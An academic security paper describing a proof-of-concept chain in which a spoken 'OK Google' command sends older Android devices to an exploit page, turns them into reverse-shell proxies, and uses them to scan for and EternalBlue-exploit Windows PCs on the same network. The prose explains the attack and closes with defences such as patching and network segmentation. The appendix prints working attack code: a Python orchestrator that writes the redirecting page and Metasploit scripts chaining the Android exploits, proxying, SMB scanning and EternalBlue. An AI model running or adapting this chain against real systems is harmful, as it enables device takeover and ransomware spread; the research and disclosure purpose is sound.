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Voice Hacking: Using Smartphones to Spread Ransomware to Traditional
PCs
Abstract

This paper presents a voice hacking proof of concept that demonstrates the ability to deploy a sequence of
hacks, triggered by speaking a smartphone command, to launch ransomware and other destructive attacks
against vulnerable Windows computers on any wireless network the phone connects to after the voice
command is issued. Specifically, a spoken, broadcast, or pre-recorded voice command directs vulnerable
Android smartphones or tablets to a malicious download page that compromises the Android device and uses
it as a proxy to run software designed to scan the Android device’s local area network for Windows computers
vulnerable to the EternalBlue exploit, spreading a ransomware-like application to those PCs, and executing it
remotely. The demonstrated proof of concept, with relevant source code included in the appendix, can be
extended and adapted to allow other voice-enabled, mobile, and IoT devices to perform multi-platform
attacks against traditional PCs, as well as other mobile and IoT devices, and even critical infrastructure
systems. In addition to describing the proof-of-concept attack in detail, the authors propose several remedies
individuals and organizations can employ to prevent such attacks.
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INTRODUCTION
Apple’s Siri, Google Home and Assistant, Amazon’s Alexa, smart appliances
and cars, and Microsoft’s Cortana have quietly transformed the home, the workplace, and even the drive home, to always-on, always-listening environments. In
this paper, we present a working proof of concept that can use voice commands on
Android smart phones as an attack vector to hijack a user’s Android device and use
it to scan for and exploit vulnerable Windows PC’s on any wireless network the
phone may touch. These techniques could be extended to other voice-enabled
devices and platforms to compromise desktop computers, servers, or even critical
infrastructure control systems.
The authors have created a multi-step “kill chain” activated either by a voice
command or hyperlink to exploit vulnerable Android devices, turning them into
scanners searching for a particular Windows vulnerability, specifically,
EternalBlue, on any laptop, desktop, or workstation attached to the same network
as the Android mobile device. Finally, the Android device is used as a proxy to
maintain a connection between discovered PCs and the malware server(s), which
can exploit the EternalBlue SMB vulnerability and remotely deploy ransomware or
other arbitrary executable code on victim PCs. The cross-platform nature of this
attack, combined with the portability of the mobile device into multiple networks
make this proof of concept particularly unsettling.
The recent release of the EternalBlue Windows SMB (Server Message Block)
network file-sharing exploit, recognized as vulnerability MS17-010, made
international headlines in the first half of 2017, eclipsed only by the headlines that
followed of WannaCry, Petya and NotPetya ransomware that used the vulnerability
to spread around the globe (Fox-Brewster, 2017). At its apex, the WannaCry
outbreak may have compromised as many as 400,000 computers in 150 countries
(Crowe, 2017). The fact that the vulnerability allows malware to spread using
network file-sharing vulnerabilities without user interaction or notification made
EternalBlue the exploit of choice for the research in this work.
With more than 2 billion active Android phones worldwide (Rossignol, 2017),
and as many as 9 out of 10 new phone activations coming from Android devices
(Kharpal, 2016), using Android mobile phones and tablets to spread malware
among desktop and laptop PCs would seem to be fertile ground. However, few
known attacks have successfully exploited the link between mobile devices and
traditional computers, until now. Further, the rapid proliferation of voice-enabled
services and devices are opening new avenues of attack, introducing the possibility
for malware downloaded by voice request or triggered by voice command in
devices from mobile phones to cars to smart speakers to TVs to thermostats.
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In addition to describing the voice hacking proof-of-concept attack in detail, the
authors propose several remedies individuals and organizations can use to prevent
such attacks. For individuals, restricting or disabling voice services and maintaining
up-to-date security patches for both their mobile devices and desktop/laptop
computers is a first line of defense. For organizations, a layered approach to
security, including proper network and data segmentation, applying security
updates for company-owned devices and requiring updates for any personal devices
before allowing them to connect to company networks, and actively monitoring
suspicious traffic or behavior from connected mobile and IoT devices are keys to
preventing the types of attacks described in this work.

2. BACKGROUND
Voice-activated computer interaction is becoming ubiquitous in the sense that it
is integrated into our day-to-day lives, including our vehicles, health trackers,
smartphones, home entertainment systems, and much more (Choe and Kim, 2017;
Pearl, 2016; North, Norris, and Chu, 2017; Rawassizadeh et. al, 2017). It is now
possible to interact with smart home devices such as thermostats, TVs, and even
washing machines merely by using voice commands. In addition, voice-enabled
systems have shown promise as a way to ease daily living for people with
disabilities (Malavasi et. al, 2016; Mangurian and Linos 2016).
However, virtually none of the currently available voice-enabled devices are
intelligent enough to distinguish voices of particular users. The devices can accept
a computer-generated voice (synthesized voice), a pre-recorded voice, or voice of
any age group including children. In other words, the devices could respond to an
attacker’s voice and execute the commands as they would the owner’s. By default,
most voice-enabled devices are always turned on, waiting for voice commands to
execute. Although the voice interfaces are helpful to ease some of the challenges in
day-to-day life, they can lead to serious consequences with respect to security.
Recently, security researchers indicated that voice-activated smartphones could
be a significant security risk to the public (Wangerin, 2017; Flint, 2017; Hill, 2014).
Threats include data breach, privilege escalation, social engineering attacks, and
web & network based attacks such as denial of service (DoS) and distributed denial
of services (DDoS). It is also reported that the most common vulnerability of voiceenabled devices is their default wake-up commands (Wangerin, 2017; Flint 2017).
For instance, Yuval Ben-Itzha, a chief security researcher at AVG created chaos by
sending a bogus message using an Android smart phone to the people in the contact
list that a company was going out of business (BBC, 2014). In a related report,
security researchers were able to trick Siri to bypass the iPhone lock screen to
perform a wide variety of commands, including sending text messages and surfing
to web sites (Hill, 2014).
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Overall, the vulnerability of voice-enabled technologies is likely to continue to
cause major concern. This research shows a proof of concept that makes use of
voice hacking along with a combination of two Android vulnerabilities and one
Windows vulnerability to successfully compromise traditional PCs using an
Android mobile device for both reconnaissance, to identify victim PCs, and to
deliver malware through the victim’s network.

2.1 Android Security Exploits
A majority of Android devices are vulnerable to malware attacks, with almost
60% of active devices running more than two full versions behind the current
release (Android.com, 2017). Further, some attacks make devices vulnerable
regardless of age, version or security patch level. What’s worse, most of these
attacks are easy for a user to install unwittingly. Sadly, a user doesn’t even need to
download an unknown application from an unknown source to have a potential risk.
According to Kaspersky Lab (Osborne, 2017), there are dozens of apps available
today in the Google Play Store that either contain malware or connect directly to
malware servers. One such piece of Android malware is found in applications
running a specific Trojan called Ztorg, which is specifically designed to “root” the
device, making it possible for the malware to gain system-level access and initiate
premium rate calls and messaging without the user noticing.
While these backdoor attacks are possible, it is becoming more difficult to
execute them without some level of user interaction. When installing an application,
either from the official Google Play Store or from a third-party provider, a user
must usually accept the installation to proceed. If an app is untrusted, extra steps
may be required, such as enabling unsigned apps to be installed and agreeing to
various warning messages.
However, there are still other approaches that do not involve downloading or
running an application. An estimated 850 million Android devices are still at risk
of a media-based hijack known as Stagefright, and researchers cite the fragmented
nature of both the Android operating system and hardware platforms from the vast
variety of Android device manufacturers as hindrances in protecting against these
attacks (Palmer, 2016).
Further, a user can become infected just by visiting a malicious web page on a
mobile browser. Mobile browsers are often not kept as up-to-date as browsers on
traditional desktop and laptop PCs (Yuan et al., 2016). Typical exploits may vary
from malicious JavaScript on an HTML webpage to an infected application, PDF,
or video file. Even if a user has updated their favorite browser, these vulnerabilities
may continue to affect unpatched or outdated applications that use the common
WebView component to deliver dynamic content within the app.
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Unfortunately, the user usually doesn’t receive any indication that these attacks
are happening, and it is virtually impossible to detect the attacks while in progress.
When the user connects to the infected page, the server simply loads a script that
attempts to execute and upload a malicious payload, creating a backdoor to the
victim’s device from the attacker’s computer.
Android devices that are running later versions of Android (version 6.0 or
newer) can thwart such WebView attacks. However, as of July 2017, almost 60
percent of active Android devices are running versions older than Android 6.0, and
may therefore be prone to WebView and web browser exploits (Android, 2017).
Add to this range of vulnerable devices the possibility of using Google Assistant
voice commands that are available for Android version 5.0 (Lollipop) devices and
newer, and it is conceivably possible to compromise over 30% of the 2 billion active
Android devices simply by speaking a command, like “OK, Google, open the web
page pleasehackme.com/virus.php” within hearing distance of anyone’s Android
phone or tablet.
Unfortunately, it has also been shown that a more innocuous-sounding
command, like “OK, Google, open the page myfunsite.com/game”, could be
recorded in a popular YouTube video or other media file and played within earshot
of an Android device, or even broadcast via television or radio, or shouted in a
crowded theater (Payne, Parker, and Mienie, 2017), infecting dozens, hundreds, or
thousands of unwary users with malware. One set of researchers even obfuscated
voice commands with a combination of voice distortion and background noise to
make them unintelligible to human listeners but recognizable to Google Assistant
(Carlini et al., 2016), opening web pages and performing other voice commands
without the consent or possibly even the awareness of the user.
To demonstrate this additional attack vector, the authors selected a voiceenabled attack on Android 5.0 and 5.1 devices, loading a malicious web page from
a server maintained by the researchers on a secure network. Removing the
restriction of the voice-enabled features on this particular attack raises the number
of vulnerable machines from roughly 30% to over 50% of active Android devices,
with those running Android versions prior to 5.0 still able to access the malware
directly through the web link, perhaps spread via phishing emails or other
traditional web dissemination means.

2.2 Windows Security and the EternalBlue Exploit
For this proof of concept, the authors selected the EternalBlue exploit as the
vector of attack from the Android mobile device to compromise Windows
workstations on a local area network. According to NetMarketShare, Windows
operating systems account for more than 91% of desktop installations worldwide
(NetMarketShare, 2017). In addition, the majority of exploits in Metasploit target
Microsoft Windows platforms.

https://digitalcommons.kennesaw.edu/jcerp/vol2018/iss1/2

4

Payne et al.: Voice Hacking

While the EternalBlue SMB vulnerability was limited to SMB version 1
(SMBv1), and security updates released in March 2017 patched the vulnerability
for licensed Windows users who have installed the updates, the authors selected
this particular vulnerability because of the covert nature of the exploit. Specifically,
it is possible to scan for the vulnerability using a specially crafted network packet,
which we felt confident we could send from the Android device, and, it was
possible to execute the compromise without any intervention or awareness on the
part of the Windows user.
In addition, this attack was selected because of the number of similar
vulnerabilities discovered in the Windows SMB file sharing mechanism. In fact,
just prior to this writing, at DEF CON 2017, a new, zero-day SMB flaw was
reported, dubbed SMBLoris, that affects all versions of Windows SMB, not just
version 1 like EternalBlue (Chirgwin, 2017). Furthermore, Microsoft stated that
they did not intend to issue a security fix for the problem in the foreseeable future,
as they characterized the threat as a “moderate issue”—despite the claim that “a
Raspberry Pi could take down the beefiest server” (Chirgwin, 2017).
The EternalBlue exploit selected for this work requires a specific protocol in
Windows to be available, the SMB (Server Message Block) protocol which enables
the user to share files, printers, or other applications on a local area network. The
network port that is used for this communication is typically port 445 for Microsoft
SMB. When a user wants to communicate to a shared folder, they will need to use
the IP or domain name of that device and a client’s application to communicate.
For Windows users, the IPC$ network share folder can be scanned to detect
vulnerable devices that allow unauthenticated access to the remote PC. In our
implementation, this scanning on port 445 will take place from the Android device
to all computers on the same network.

3. IMPLEMENTATION
The back-end design of the attack developed in this research consists of a pair
of scripts, one written in Python and one in Ruby. The Python script, run.py, is a
modified Metasploit module that scans for vulnerable Windows PCs, and the Ruby
script, scanwin.rb, determines the starting IP address of the victim Android device’s
internal network to enable the scan. The pair of scripts form the back end of the
exploit, and are placed together in a single folder and zipped for easy transport.
These scripts will run from an attack server, using a compromised Android device
as a proxy into any local area network the Android device connects to.
For the attack server, the following requirements are all that need to be met: Kali
Linux with updated Metasploit, Meterpreter (part of Metasploit), apache2,
Proxychain, and Python 2.7. All components must be in place and properly updated
for the exploit to be carried out correctly.
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With the back-end successfully in place, the front-end design includes an
“/attack.html” and two other attacking pages for the two Android WebView
exploits, available pre-made from the Metasploit exploit modules.

3.1 Attacking Android Devices
The first objective in the attack chain is to gain access to a vulnerable Android
phone, tablet or other device and create a tunnel between the mobile device and the
attack server. To exploit effectively, the recommended options was to use only
exploits that didn’t require for the victim to install an application. The best approach
is to use WebView exploits that require the victim to enter or click on an infected
webpage that holds exploits that attack the browser application they are running.
There are two attacks that are still in relatively widespread use: the
“Addjavainterface” method exploit and the “Stagefright” exploit, both of which are
available in the Metasploit framework community edition open-source security
testing software (Rapid7, 2009).

Figure 1: Attack sequence from the Android Meterpreter’s perspective
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In the image shown in Figure 1, the attack chain begins when the victim speaks,
inputs or clicks a link to the malware site. If Google Assistant or other voice
recognition software is available on the device, the attacker can command the phone
to browse to the link by saying, or by tricking the user into playing a pre-recorded
message stating, “Okay Google, open the page servername.com/attack.html”.
When the page is accessed, the JavaScript implanted on the page will capture the
device type and version. If the device type is Android and is running a version
earlier than 4.2, the script will redirect the browser to “/test1:8081”, where “test1”
is the folder where the version of the attack for older Android devices is stored, and
“8081” will become the network port for the attack. If the Android device is running
versions 5.0 to 5.1, known as Lollipop, the browser or WebView will be redirected
to “/test2:8082”, similarly staged for the Lollipop version of the attack. Anything
else will stay on the main page and no further actions are needed, as newer Android
versions are not susceptible to the particular Android attack used in this proof of
concept.
Once a vulnerable device is redirected to the appropriate page, Metasploit will
attempt to compromise the device by uploading a reverse TCP payload and execute
it, thereby injecting a Meterpreter shell onto the Android victim/host. If the exploit
fails or has not received a response from the payload, then the attack remains on
standby, waiting for the next victim. However, if the attack is successful, a session
will be created and the remote Meterpreter shell will execute the autorun Python
and Ruby scripts.

3.2 Sniffing and Exploiting Vulnerable Windows Machines
Once a Meterpreter session is available under reverse TCP from the
compromised Android device, the autorun script will go through the processes to
create a ‘foothold’, to route the traffic to attack the victim’s internal network via
the Android device. The script will then create a proxy using the Metasploit socks4
proxy module to allow other tools to be used outside Meterpreter.
After completing, the autorun script executes a custom Ruby script to retrieve
the starting IP address of the victim’s network and uses it to start running the SMB
vulnerability scan. The scan is a modified version of the ms17_10 EternalBlue
module, available in the Metasploit auxiliary modules. If the scan detects a
Windows machine vulnerable to an EternalBlue attack, then the IP of that machine
is captured and sent back to the Python script for exploitation.
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The Ruby script scans through the list of IP address available in the subnet. If it
receives information that the machine is online and port 445 is available, then it
attempts to communicate to that port. If communication is accepted, the scan tool
attempts to connect to the “IPC$” file that can be accessed anonymously without
authentication on Windows machines prior to Windows 8. The IPC$ file is a hidden
shared file in SMB that administers the communication services. The scan
communicates with the potential victim computer and determines if the Windows
device is vulnerable or not, continuing down the list of IP addresses in the victim
Android device’s subnet. If no vulnerable machines are discovered, the program
halts.

Figure 2: Attack sequence from the Android Meterpreter shell’s perspective
As shown in Figure 2, if the scan detects a vulnerable candidate, it will continue
to leverage the proxy of the session that is linked to the mobile device, opening a
second Metasploit exploit to execute the EternalBlue attack. The exploit will
attempt to attack the SMB remote Windows Kernel Pool. The attack consists of a
buffer overflow on the Kernel Pool that attacks the srvnet.sys file. This attack can
cause a kernel fault (suspending or “blue-screening” the victim Windows
computer) if the pool grooming count is too high. But, if the attack succeeds, a
reverse TCP Meterpreter shell will be created on the Windows victim device with
system-level privileges. This system-level root access on the Windows workstation
or server gives the attacker full administrative control over the victim machine,
including the ability to download files, capture screenshots from the victim device,
upload and execute files, and even shut down the device remotely.

4. PROOF OF CONCEPT EXECUTION AND RESULTS
Figure 3 shows the experimental setup for the proof-of-concept attack, with a
firewall separating the attack server from the Internet, and another firewall
separating the victim Android device and vulnerable Windows machine, located
together on a shared network. The physical implementation consisted of two
wireless routers with built-in firewalls. The victim's firewall is set to default, always
allowing outward-bound traffic, but not inward-bound traffic. The attack server’s
firewall is implemented similarly, but with port forwarding enabled to allow part
of the exploit to be reached by the victim’s device.
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Figure 3: Architecture of a sustainable mobile-to-desktop attack chain
The attack server is running the Python program as well as the needed tools in
Kali Linux listed in section 2. The victim's side includes a Nabi Android tablet
running Android Jellybean version 4.1.1. The browser being used for this attack
was the Maxthon browser, since the default browser had been patched. This
browser will demonstrate that, for the “addJavaInterface” exploit, any Android
browser prior to version 4.2 that is not being patched is exploitable. The Windows
victim machine is running Windows 7 Pro build 7600 with an up-to-date antivirus
application installed, and file sharing enabled.
In the first version of the proof of concept, a link to the attack server was sent
via email, as the victim Android device did not have Google Assistant due to the
Jellybean 4.1.1 version level, but a newer Android device in the version 5.0 to 5.1
Lollipop range would enable the targeted user to speak or replay a recorded
message (perhaps in a YouTube video) directing the device to open the web page
containing the front-end attack.
When received and clicked, the link opens on the default browser that the victim
has set up, namely the Maxthon browser version 2.4.6. Once the link is opened, the
browser is sent to the attack server, which in turn sends the HTML file to the user
containing the JavaScript query code. Once received, the JavaScript checks if the
device is an Android device and determines the version, as detailed in section 3.1.
If the conditions are met, the script redirects the browser to the exploit webpage
without the user ever knowing. At first, the user might see that a page is loading,
but there will be no information being displayed, only a blank page. Regardless of
whether the attack succeeded or failed, the page will be blank, giving the user no
sign of attack or threat. One the Android exploit succeeds, however, Metasploit will
send the reverse TCP payload, receive the reverse TCP communication and set up
the second stage, injecting the remote Meterpreter shell on the Android device.
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While the server is setting up the remote shell, the tablet will not show any signs
of processor fluctuation, heating, or performance. However, the Internet connection
may slow down perceptibly on the tablet, due to the communications overhead
involved in the attack. Once compromised, the Android device divulges to the
attack server the IP address range of the subnet the Android tablet is connected to
over Wi-Fi or, in the case of an Android TV or other connected device, even over
a wired network connection.
The attack server launches the script to begin scanning the IP addresses on the
victim Android device’s network, and finds our vulnerable Windows 7 Pro laptop.
The scan took less than 10 seconds, as the IP address of the Windows computer set
by the router’s DHCP server was within 3 addresses from the starting IP of
192.168.1.0. As soon as the attack server gets the Windows machine’s IP address
(192.168.1.3 in our setup), the final EternalBlue exploit is set and executed. Within
approximately 30 seconds, the Windows device has been exploited and can be
directly communicated with from the server, without the use of the Android device.
As shown in Figures 4(a) and 4(b), a shell session has been created and the
automated set of scripts for the session was executed. A message, using the
command “msg *” was sent to let the user know that they have been successfully
compromised. Once completed, the program halts, but leaves the Windows shell
session available for any further attacks, including ransomware, fake ransomware,
or other destructive acts.

Figure 4(a): The Window 7 Pro computer is successfully compromised.
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Figure 4(b): Metasploit on the Kali attack server shows the Meterpreter shell
session running from the Windows 7 computer, with system-level privileges.
This proof of concept demonstrates that more complex attack chains involving
mobile devices like smartphones and tablets, and even IoT devices, can
compromise traditional computer workstations and servers on networks the
infected mobile devices can travel to, even when those networks are protected by
firewalls correctly configured to reject inward-bound traffic. The common reverse
TCP family of exploits, with the Meterpreter shell injected, easily bypassed
firewalls and enabled a simple, but potentially devastating attack.
The source code of the main author-developed scripts, run.py, scan.rb, and
scanwin.rb, are attached to this manuscript as the Appendix. The other scripts used
and modified in the kill chain are available in Metasploit (Rapid7, 2009).

5. CONCLUSIONS AND FUTURE WORK
In this work, the authors have demonstrated that a vulnerability in a mobile
device can be exploited using either voice commands or traditional web-based
attacks and used as a pivot point in a more complex attack chain, wreaking havoc
not only on the mobile device itself, but on other computers on networks the mobile
device may connect to after it is compromised. This includes both traditional
computers and other systems that differ both in hardware architecture and in
operating system—note that this could conceivably include industrial control
systems (ICS) or other critical infrastructure systems.
By modifying three existing exploits and a pair of existing scripts provided in
the Metasploit framework, we were able to create an attack chain that could allow
a voice command on Android 5.0 or 5.1 devices, which constitute over 27% of
active devices as of this writing (Android.com, 2017), or a clicked hyperlink on
earlier Android devices (another 22% of active devices), to open a web site staged
on the attack server by the authors to compromise the Android device, pivot to the
local area network via Wi-Fi or other connection, scan for vulnerable Windows
PCs, and execute the final objective of executing arbitrary code on traditional
desktops and laptops remotely, including ransomware and other destructive attacks.
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Fortunately, this particular kill chain could have been broken at either stage by
updating one or both of the Android mobile device and the Windows workstation.
However, as a growing number of the more than 2 billion Android devices fail to
be updated, or lose patch support due to age, we envision the threat coming from
mobile and IoT devices, both Android and other OS versions, taking a more central
role in future attacks. The fact that mobile devices can go where other infected
computers usually cannot, including inside otherwise heavily fortified private
LANs thanks to the era of BYOD (bring-your-own device), makes this attack vector
especially attractive to focused, coordinated attacks or even advanced persistent
threats.
Further, the proof-of-concept attack described in this work could be extended to
other voice-enabled, mobile, and IoT devices in the multi-platform manner
demonstrated by the authors. The Meterpreter reverse_tcp shell used in this attack
is already available for PC, Mac and Linux computers, all common mobile phone
platforms including iOS, Android and Windows, as well as the multitude of IoT
and smart home devices running Android and Linux operating systems. According
to the Eclipse IoT Developer Survey (Skerrett, 2017), 81% percent of IoT
developers reported using some version Linux OS in their IoT devices, making this
a target-rich environment for malicious hackers.
To guard against complex attacks of this nature, it is not sufficient just to update
systems, as newer zero-day exploits are discovered at an alarming pace. Rather, end
users and organizations must take a layered approach to securing their networks
and systems. First and foremost, managers should consider the enterprise security
and suitability of voice-enabled, mobile, and IoT platforms before adopting the
devices in the workplace, and individuals can do similarly before introducing such
devices at home.
Limiting or disabling voice services on the mobile device should be a
consideration for individuals seeking to minimize such attacks. Next, organizations
must maintain security patches for all systems and devices, and require patches or
updates for devices that connect to shared networks. Further, they must sufficiently
segment networks to separate BYOD-friendly networks like Wi-Fi from corporate
or other internal networks and systems, encrypt sensitive data within those
networks and systems, and monitor suspicious activity using intrusion
detection/prevention systems (IDS/IPS) or similar network security monitoring,
preferably featuring deep packet inspection. Requiring patches, appropriately
segmenting devices and networks, and actively monitoring suspicious behavior or
network traffic should extend both to mobile devices and to IoT devices, as more
attacks across IoT devices are to be expected as the number and variety of Internet
of Things devices continues to grow.
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In short, a thoughtfully-applied defense-in-depth approach, implemented by
skilled cybersecurity, risk management, and IT personnel can sufficiently protect
organizations against complex, mobile-borne and even voice-enabled attacks like
the proof of concept demonstrated in this work, but even individuals and smaller
enterprises can significantly limit their exposure to such risks by following the
recommendations provided in this work. An awareness of the existence of such
threats is a first step toward taking greater precautions against voice-enabled,
mobile and IoT device-based attacks, and the proof of concept detailed in this paper
provides the reader with a practical example of the kinds of attacks that are already
possible on devices in the home and workplace.
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APPENDIX
Source Code for run.py exploit file
# Author: Leonardo Mazuran
# Kali-based Android to PC attack v1.3
from multiprocessing import Process
import subprocess
import socket
import urllib2
import time
import sys
import os
from shutil import copyfile
import thread
from threading import Thread
def get_ip_private():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("google.com", 80))
return (s.getsockname()[0])
except:
print ("Unable to retrieve local ip address")
exit(1)
def get_ip_public():
try:
return (urllib2.urlopen('http://ip.42.pl/raw').read())
except:
print("Unable to get public ip address")
exit(1)
def create_web_page():
=begin
This modified method launches Apache and creates a webpage for users to get
infected. The JavaScript detects which version of Android is on a mobile device.
If less than 4.2 then redirect to ip:8081/test1 to get exploited for the webview
exploit. If 5 to 5.1 then redirect to ip:8082/test2 for the stagefright exploit.
If none applies, then do nothing.
=end
try:
print("launching apache server")
subprocess.check_call(['service','apache2', 'stop'], stdout=subprocess.PIPE)
subprocess.check_call(['service','apache2', 'start'],
stdout=subprocess.PIPE)
except subprocess.CalledProcessError:
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print("Apache2 did not execute")
exit(1)
try:
print("Writing attack.html to html folder")
f=open("/var/www/html/attack.html","w")
f.write("<html><title>Attack page</title><script type='text/javascript'>
var userAgent = navigator.userAgent.toLowerCase();"+
"var check = userAgent.match(/android\s+(\d\.\d+)/) [1]; if (check <
4.2){window.location.replace(\"http://"+get_ip_private()+":8081/test1\");}"+
"if(check >=5.0 || check
>=5.1){window.location.replace(\"http://"+get_ip_private()+":8082/test2
\");}</script><body><center><h1> Nothing here</h1></center></body></html>")
f.close()
subprocess.check_call(['service','apache2', 'restart'],
stdout=subprocess.PIPE)
except:
print("Failed to write to html folder")
exit(1)
def create_autoscript():
try:
print("Writing autoscript")
f = open("/root/Documents/attack.rc", "w")
f.write("use
exploit/android/browser/webview_addjavascriptinterface\nset AutoRunScript
multi_console_command -rc /root/Documents/metandroid.rc\nset srvport
8081\nset uripath test1\nset lhost "+get_ip_private()+"\nset lport 4447\n"+
"exploit -j\nuse exploit/android/browser/stagefright_mp4_tx3g_64bit\nset
srvport 8082\nset lport 4448\nset uripath test2\nexploit\necho set up
complete! Link:http://"+get_ip_private()+"/attack.html\n"+
"set AutoRunScript multi_console_command -rc
/root/Documents/metandroid.rc")
f.close()
except:
print ("Unable to write autoscript")
exit(1)
def create_meter_android():
try:
print ("Creating meterpreter script for android")
f = open("/root/Documents/metandroid.rc", "w")
f.write("run post/multi/manage/autoroute\nrun
auxiliary/server/socks4a srvport=1080 srvhost="+get_ip_private()+"\nrun
/root/Documents/scanwin.rb")
f.close()
except:
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print ("Unable to create android script")
exit(1)
def proxy():
set = "socks4 "+get_ip_private()+" 1080"
f = open('/etc/proxychains.conf', 'a+')
f.write(set + "\n")
f.close()
def adding_scan():
try:
file1 = "/usr/share/metasploitframework/modules/auxiliary/scanner/smb/scan.rb"
file2 = "/root/Documents/scanwin.rb"
if os.path.isfile(file1):
print("scan.rb already installed!")
else:
print("installing scan.rb")
copyfile("scan.rb", file1)
if os.path.isfile(file2):
print("scanwin.rb already installed!")
else:
print("installing scanwin.rb")
copyfile("scanwin.rb", file2)
except:
print("Unable to input scan.rb/scanwin.rb to metasploitframework/Documents!")
exit(1)
def run_metasploit():
print ("loading metasploit with autoscript")
subprocess.call(['msfconsole', '-r', '/root/Documents/attack.rc'])
def attack_windows():
ipfile = "/root/Documents/attackip.txt"
while False:
if os.path.isfile(ipfile):
print("IP is available")
f = open(ipfile, 'r')
ip = f.readline()
os.remove(ipfile)
#proxy()
f.close()
f = open("/root/Documents/attack2.rc",'w')
f.write("\nuse exploit/windows/smb/ms17_010_eternalblue_mod\nset
rhost "+ ip +"\nset GroomAllocations 12\nset GroomDelta 1\nset AutoRunScript
/root/Documents/winauto.rb\nset MaxExploitAttempts 8\nset ProcessName
explorer.exe\nrun")
f.close()
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subprocess.call(['gnome-terminal','e','proxychains','msfconsole', '-r', '/root/Documents/attack2.rc'])
#proxy()
break
else:
time.sleep(5)
def create_windows_shell_commands():
try:
print ("Writing a autoscript for windows")
f = open("/root/Documents/winauto.rb" ,'w')
f.write("\nsession.run_cmd(\"whoami\")\nsession.run_cmd(\"msg * This
computer is hacked!!!!\")")
f.close()
except:
print("Unable to write windows shell script!")
exit(1)
def run_scanner():
ipfile = "/root/Documents/subnetip.txt"
while False:
if os.path.isfile(ipfile):
print("subnet good")
f = open(ipfile, 'r')
ip = f.readline()
os.remove(ipfile)
f.close()
f = open("/root/Documents/scanner.rc",'w')
f.write("\nuse auxiliary/scanner/smb/scan\nset rhosts "+ ip
+"/24\nrun")
f.close()
proxy()
subprocess.call(['proxychains','msfconsole', '-r',
'/root/Documents/scanner.rc'])
break
else:
time.sleep(5)
print (get_ip_private())
#print (get_ip_public())
create_web_page()
create_autoscript()
create_meter_android()
create_windows_shell_commands()
adding_scan()
Process(target = run_metasploit).start()
time.sleep(10)
Process(target = run_scanner).start()
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attack_windows()

Source Code for scanwin.rb exploit file
Rex::Socket::SwitchBoard.each do |route|
print_good("#{route.subnet}")
print_status("Starting SMB Scan")
File.write('/root/Documents/subnetip.txt', route.subnet)
end

This script retrieves the private IP address of each local target device and saves it
to a text file. The run.py python script looks for this file, reads it and deletes it. The
IP addresses discovered will be used during the EternalBlue attack.
Source Code snippet modified from scan.rb exploit file
def run_host(ip)
begin
ipc_share = "\\\\#{ip}\\IPC$"
tree_id = do_smb_setup_tree(ipc_share)
vprint_status("Connected to #{ipc_share} with TID = #{tree_id}")
status = do_smb_ms17_010_probe(tree_id)
vprint_status("Received #{status} with FID = 0")
if status == "STATUS_INSUFF_SERVER_RESOURCES"
print_good("Host is likely VULNERABLE to MS17-010!
(#{simple.client.peer_native_os})")
print_good("#{ip}")
File.write('/root/Documents/attackip.txt', ip)
Process.exit!(true)
elsif status == "STATUS_ACCESS_DENIED" or status ==
"STATUS_INVALID_HANDLE"
# STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others)
print_bad("Host does NOT appear vulnerable.")
else
print_bad("Unable to properly detect if host is vulnerable.")
end
rescue ::Interrupt
print_status("Exiting on interrupt.")
raise $!
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rescue ::Rex::Proto::SMB::Exceptions::LoginError
print_error("An SMB Login Error occurred while connecting to the IPC$
tree.")
rescue ::Exception => e
vprint_error("#{e.class}: #{e.message}")
ensure
disconnect
end
end
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